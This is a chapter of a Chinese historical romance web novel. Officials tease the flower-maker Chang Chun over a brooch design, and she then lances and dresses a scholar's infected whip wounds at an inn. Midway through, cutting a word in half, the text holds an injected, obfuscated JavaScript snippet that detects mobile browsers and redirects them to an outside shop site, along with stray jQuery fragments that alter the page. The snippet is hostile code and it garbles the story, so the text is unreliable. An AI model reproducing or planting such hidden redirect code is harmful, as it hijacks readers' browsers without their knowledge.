凌肃嘴角微翘,脸上自方才起,便挂着一抹柔和的笑意,眼光更是自始至终就没自那方移开过。 方才拿牙箸敲碟子的柳贺觑着他的神情,心道:昨夜披星戴月匆匆而来,我还当此君当真是心系黎民,堂堂国公世子当个京兆府少尹竟当得宾至如归了,谁知此间干系原来在此。 此人正是早上狠狠弹劾了一番恶少纵马欺凌卖花女,然后便闹着要凌肃请客的右司谏,柳贺柳大人。 他咳了两声,凌肃恍如未闻。 柳贺眼珠一转计上心头,似是十分感兴趣般,找准时机温言道:“常娘子,男子可有能佩戴的绒花呀?” 常春刚将众女要定的绒花款式一一记下,听闻柳贺相问,忙将册子捧到他面前:“郎君请看,这最末几页绒花便是男子可簪在幞头上的,多是松竹梅兰等高洁淡雅的花儿。” 又翻过几页,指点册页给他看:“也有胸针可佩在襟前,鲤跃龙门、连中三元也有,青竹有节、松间明月也有。” 听闻松间明月,凌肃神色一凝,伸指过去点点那页:“此枚胸针常娘子卖出过几枚了?” 常春顿时赧然:“尚未,只……送过一枚出去。” 柳贺挤过来凑趣:“我倒觉得这个花样别致得紧,常娘子替我做一枚可好?” 凌肃冷冷道:“我买了。” 常春柳贺二人一齐睁大了眼睛看他,凌肃干咳一声,又重复一遍:“我是说这页花样,我买了。” 柳贺跳脚:“喂喂喂,凌放之,昨晚你半夜把我从被窝里拖出来写弹劾本子,我便没有功劳也有苦劳吧!常娘子不过替我做个胸针,你怎么也要来横插一杠子……” 未及说完便被凌肃打断:“柳大人慎言!” ‘那几人的亲眷父母凡在朝中为官的,今晨朝议时又被右司谏好好参了一笔治家不严家风不正……’ 常春脑中瞬间闪过方才芙蕖所言。 她狐疑道:“大人所言可是昨夜马行街之事?” 柳贺瞟了一眼凌肃,但笑不语,但眼中神情分明在说:‘你终于发现了!’ 常春又转向凌肃,却突然不知该从何问起了。 你是因为我才…… 常春心里闪过一丝微弱的灵感火光,随即有个小人尖叫着开了辆消防车过来,抱起巨大的水管对着那丝可怜的小火苗一阵狂浇。 最后那点火星“扑”一声,灭了,留下一缕怨念缭绕的青烟。 她努力摒除杂念,让自己的笑容更狗腿些,利落的将册子侧面的绸带解开,拿出松间明月那一页,双手奉与凌肃: “承蒙大人怜惜小民生计,我等才能安居乐业。一页簪稿算什么,此页便请大人笑纳,若有喜欢的,再命妾画了奉上便是。” 凌肃不知此刻自己心中是何感受,他接过那页羊皮纸,道:“常娘子谬赞了,当街逞凶本就该有所惩戒,凌某只是依律法行事而已。” 自初遇以来,两人还是第一次这样心平气和地交谈。 凌肃觉得常春好歹不像之前,见到他就像老鼠见了猫,常春则觉得总算抓住机会,向这位喜怒无常的大人表了表忠心。 双方都觉得关系朝前迈了一大步,各自心怀鬼胎地对视着。 柳贺看得牙疼,他又敲了敲杯子。 常春如梦初醒,当即对他露出个歉意的笑容:“大人,这页给了凌大人,我重新为您设计一款?” 柳贺慢悠悠竖起一根食指在眼前晃了晃:“我看还是算了,花儿哪有命重要啊,你说是吧凌大人。” 凌肃的声音似乎是从齿间挤出来的:“柳司谏所言、极是。” 拿着满满的订单走出了凌波馆,常春却一反常态地没有立即回小院开始做花。 她买了些点心果子,想了想,又去生药铺子买了些专治外伤的白药,转身朝姜娘子所说的马行街上的那家客店走去。 这间叫云来的客店虽小却极整洁,门口两棵大柳树掩映,此时旧叶已落,新叶尚未露头,枝头在凛冽冬风中堆着点寒霜。 不时有士子模样的人在门边进出,常春拉住一个店内的伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885963|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计:“请问小哥,贵店可有一名叫做宋时琛的郎君投宿?” 楼上客舍内,宋时琛趴在床上,将一角白布手巾咬在嘴中,发出一声隐忍的闷哼,身后正在给他背上换药的客舍伙计顿时僵了僵,不敢轻易下手了。 经过一夜,他背上的鞭痕已高高肿起,边缘破溃处渗出些黄水,发红肿胀十分可怖,甚至有隐隐向一旁扩散的趋势。 伙计将常春带至房前,见房门虚掩着,便自然伸手推开:“宋郎君,有位客官找您。” 宋时琛就着趴着的姿势艰难回头,一见常春顿时吓得魂飞天外,顿时顾不得背上伤口牵扯着疼痛,反手一把拉过旁边的棉被,盖在自己光裸的后背上。 半晌,先是脸红了,其次是耳朵,最后一直红到了脖颈中去。 常春:只是光个膀子而已,夏天哪个烧烤摊上没有十个八个的,这是在看不起谁。 吐槽归吐槽,刚刚一眼瞥到的伤还是超过了常春的预料。 她想了想,大概是马鞭材质特殊,加之上有倒刺,轻易便刮掉了一层皮肉。再加上或者附有马粪尘土等污物,清创不及时,便感染成这样了。 宋时琛还红着脸,常春却放下手中的东西,几步迈上前去。想揭开被子,却被宋时琛死死揪住,用力得连骨节都泛着青白色。 常春好气又好笑:“宋郎君,君子坦荡荡,小人长戚戚。这时候了你还顾忌什么男女大防,伤口感染恶化可是要死人的!” 宋时琛闭眼不看她,从被子里发出鼻音:“伙计帮我换药即可,便不麻烦常娘子了。” 常春懒得理他,吩咐伙计拿壶烈酒,并匕首、纱布等物上来。 接着隔着棉被,一掌便按在了宋时琛的背上。 “啊!”地一声痛呼,宋时琛额头霎时冒出细密汗珠。 常春等的就是现在,趁他手臂痛得无力,一掀被子,发现感染的脓液已经冒出,于是她找准时机,将浸过烈酒的匕首尖在他背上比了比。 一刀划下! □□中夹着血丝的脓液瞬间涌出,常春并不因宋时琛的痛呼而手下留情,反倒更用力地挤压着伤口,直到流出鲜红的血色。 她用沾了酒的纱布轻轻擦净周围的脏污,轻声道:“快好了,再忍最后一下。” 头先伤口被死命挤压的剧痛已经过去,现在只是麻痹中带着丝丝火热涨疼,宋时琛嘴硬道:“……还好。” 随即他便见到常春露出个狐狸般的笑容,伸手拿过酒壶饮了一大口,低头“扑”地一声尽数喷在他背上,借着烈酒未干,迅速将带来的白药抖在他痉挛的伤口上。 宋时琛:“!!!” 他像条被甩上岸的鱼般弓起了脊背,又重重跌回床上,眼前金星乱冒。 这边常春已熟练地将纱布一圈圈替他缠绕固定好,打了个漂亮的蝴蝶结,笑眯眯道:“这下才是真的好了。” 旁边的伙计看她的眼神都不自觉带上了一点畏惧,这位娘子,切剥活物如此狠辣,莫非是州桥码头卖鱼脍的不成? 常春又交代了一番外科手术后修养事宜,不许沐浴不许见风不许吃发散食物等等。 宋时琛头昏脑涨,依然处于既痛又羞的大脑宕机状态中。 最后只听那女子笑吟吟的声音说道:“那我便走了,明日再来探望宋郎君。” 吱嘎一声木门阖上,一室白药的辛辣气味中,还夹杂着一缕雪里忍冬的清新之意。